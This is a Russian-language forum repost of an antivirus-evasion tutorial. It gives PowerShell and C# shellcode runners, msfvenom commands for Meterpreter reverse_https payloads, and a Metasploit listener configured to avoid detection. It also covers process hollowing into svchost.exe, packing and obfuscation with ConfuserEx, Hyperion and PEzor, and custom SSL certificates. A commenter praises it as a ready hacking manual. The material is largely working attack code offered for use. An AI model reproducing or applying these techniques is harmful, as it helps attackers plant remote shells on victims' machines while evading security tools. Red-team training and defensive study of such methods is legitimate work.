$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = SHELLCDOE_PLACEHOLDER

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
Совет – Чтобы выполнить x64 Shellcode из приложения x86 (например, MS Word), укажите путь к бинарному файлу PowerShell x64 в папке Sysnative (C:\Windows\Sysnative). Папка "Sysnative" невидима в проводнике Windows, поскольку проводник Windows является 64-битным приложением (когда он запущен в 64-битной версии Windows).

dae75513-6268-4948-9b81-f2134a7036c4.png
dae75513-6268-4948-9b81-f2134a7036c4.png

Однако папка существует и может быть доступна, если вы используете x86-приложение.

187e3e3f-72ec-44da-bc14-f3a46bc4ccca.png
187e3e3f-72ec-44da-bc14-f3a46bc4ccca.png

Вы можете прочитать больше об этом здесь.

JScript

Работает при двойном щелчке, но должен быть скомпилирован для текущей архитектуры операционной системы.

Генератор:

msfvenom -pwindows/meterpreter/reverse_httpsLHOST=$ipLPORT=443 -fcsharp -oshell.cs
Слушатель:

sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"
Runner:

using System;
using System.Runtime.InteropServices; [ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
byte[] buf = new byte[???] { SHELLCODE };
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF);
} }
16e39c14-5162-41ac-a12c-e8e98859cb5c.png
16e39c14-5162-41ac-a12c-e8e98859cb5c.png

74d77073-5497-4671-ba18-71b5d424f5b9.png
74d77073-5497-4671-ba18-71b5d424f5b9.png

Для создания JS из DLL вам необходим этот инструмент.

После компиляции скопируйте ExampleAssembly.dll в каталог \DotNetToJScript\bin\x86\Release\ и выполните команду:

.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js
Затем можно использовать обфускацию JavaScript для повышения скрытности. Например, этот онлайн-obfuscator:

894033fd-35e2-4404-9616-9b0d5e507f70.png
894033fd-35e2-4404-9616-9b0d5e507f70.png

Процесс Hollowing

Описание


Для текущего сценария мы будем использовать EXE Shellcode Runner с использованием техники, называемой Process Hollowing.

Process Hollowing — это техника выполнения вредоносного кода путем создания нового процесса и замены его легитимного содержимого на вредоносный код.

Это форма инъекции кода, которая позволяет атакующему выполнять свой код в контексте легитимного процесса, что затрудняет обнаружение и отслеживание его активности.

Краткое пошаговое объяснение того, как работает Hollowing:

  1. Процесс жертвы создается в приостановленном состоянии (например, svchost.exe).
  2. Его изображение извлекается из памяти, и вместо него записывается вредоносный бинарный файл.
  3. Состояние программы затем возобновляется для выполнения внедренного кода.
Основная цель — это svchost.exe, потому что, по сути, он выполняет TCP-соединения и не вызывает подозрений в случае подозрительных действий.

Для более подробного объяснения, пожалуйста, ознакомьтесь с этой ссылкой.

Подготовка Shellcode Runner

Сначала сгенерируйте C# shellcode, зашифрованный с использованием символа "w":

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ip LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key w -o shell.cs
Затем скачайте шаблон HOLLOW.sln с моего GitHub, замените shellcode на строке 89 и скомпилируйте его как x64.

faa2f3fb-ae18-4193-8fa4-dc8a5649cde7.png
faa2f3fb-ae18-4193-8fa4-dc8a5649cde7.png

Затем будет лучше, если вы развернете это на своем VPS, используя HTTP веб-сервер. Замените HOLLOW.exe на setup.exe или наоборот, в вашем HTA dropper.

Обфускация EXE

ConfuserEx отлично справляется с обфускацией C# приложений. Вам нужно скомпилированное EXE-исполняемое бинарное приложение, и вы можете использовать его следующим образом:

d50ee5b7-689c-4ace-b97f-22d63a04ac4d.png
d50ee5b7-689c-4ace-b97f-22d63a04ac4d.png

Агрессивная предустановка для глобальных и Platform.exe

056a21f0-051f-44d2-8ef4-53e9a26a6fa2.png
056a21f0-051f-44d2-8ef4-53e9a26a6fa2.png

Для EXE, написанного на C/C++, вы можете использовать криптер Hyperion:

hyperion.exe input.exe evil.exe
В конце концов, вы можете использовать упаковщик Pezor для обертывания evil.exe.
Вы можете использовать Pezor для любого PE-файла, не только скомпилированного на C/C++:

bash PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 evil.exe -z 2
О сертификатах В приведенных выше примерах мы генерировали шеллкод с использованием Msfvenom, который рандомизирует SSL-сертификаты. Такие сертификаты могут быть обнаружены с помощью сканирования по подписям. Вы можете обойти это, создав собственный SSL-сертификат.

Создайте самоподписанный сертификат с пользовательскими данными:

openssl req -new -x509 -nodes -out cert.crt -keyout priv.key
e8cd1048-f2c0-4a95-b8dd-69b55a0857d3.png
e8cd1048-f2c0-4a95-b8dd-69b55a0857d3.png

Создайте файл .pem:

cat priv.key cert.crt > custom.pem
Измените CipherString=DEFAULT@SECLEVEL=2 в /etc/ssl/openssl.cnf на:

457dfef5-c5c5-4a6e-a2c1-308b23fb6e0b.png
457dfef5-c5c5-4a6e-a2c1-308b23fb6e0b.png

Хотя это снизит вероятность обнаружения, рекомендуется получить и использовать действительный сертификат, как было упомянуто ранее.

Слушатель Metasploit

Некоторые продвинутые параметры модуля Metasploit multi/handler могут помочь обойти антивирусы.

Первый из них — опция SSL. Когда она установлена в значение true, ваш слушатель будет использовать SSL для соединения. Для этого можно использовать созданный ранее самоподписанный сертификат.

set payload windows/x64/meterpreter/reverse_https
set SSL true
set HandlerSSLCert /home/karmaz95/custom.pem
Еще одна удобная опция — отключить автоматическую загрузку stdapi, которая отвечает за загрузку стандартных команд Meterpreter. Когда она загружается, она резервирует место в памяти для функций Meterpreter. Антивирусы сканируют всю память процесса на наличие сигнатуры и могут обнаружить это как вредоносное. Если установить значение false, Meterpreter будет вести себя как обычное соединение. После получения обратной оболочки можно вручную загрузить stdapi.

set AutoLoadStdapi false
Опция AutoVerifySession заставляет Meterpreter отправлять еще одно соединение после установления первого, чтобы проверить, активно ли оно. Это также может быть обнаружено.

set AutoVerifySession false
Последние две опции следует использовать, если вы используете staged payload, так как они кодируют вторую стадию вашего shellcode Meterpreter.

set EnableStageEncoding True
set StagerEncoder x64/xor_dynamic
Здесь может возникнуть вопрос, почему не использовать сильно закодированный одноэтапный shellcode. Одно из основных преимуществ использования staged shellcode — это размер первого этапа в памяти: меньше байт, меньше вероятность обнаружения вредоносного кода и больше времени для миграции в другой процесс или выполнения hollowing процесса, что позволяет полностью обойти антивирус.

Заключение

Хотя статья получилась немного длинной, она не раскрывает тему даже на несколько процентов. Описанные здесь техники все еще работают, но существуют более совершенные и сложные методы. Если вас интересует обход защиты Windows и Red Teaming, я настоятельно рекомендую следить за Mariusz, который делает в этой области успехи. Если вам сложно понять то, что вы прочитали, но вы хотите начать изучать эту тему, я рекомендую пройти курс PEN-300 (OSEP) от Offensive Security.

Также призываю вас регулярно посещать наш блог AFINE для получения новых знаний. Надеюсь, вам понравится!

Источник
 
Ну оочень рекомендую, как готовый мануал для взлома:cool:
 

Пинг форума и аптайм

Averaged results for https://maza.one

uptime counter
Назад
Сверху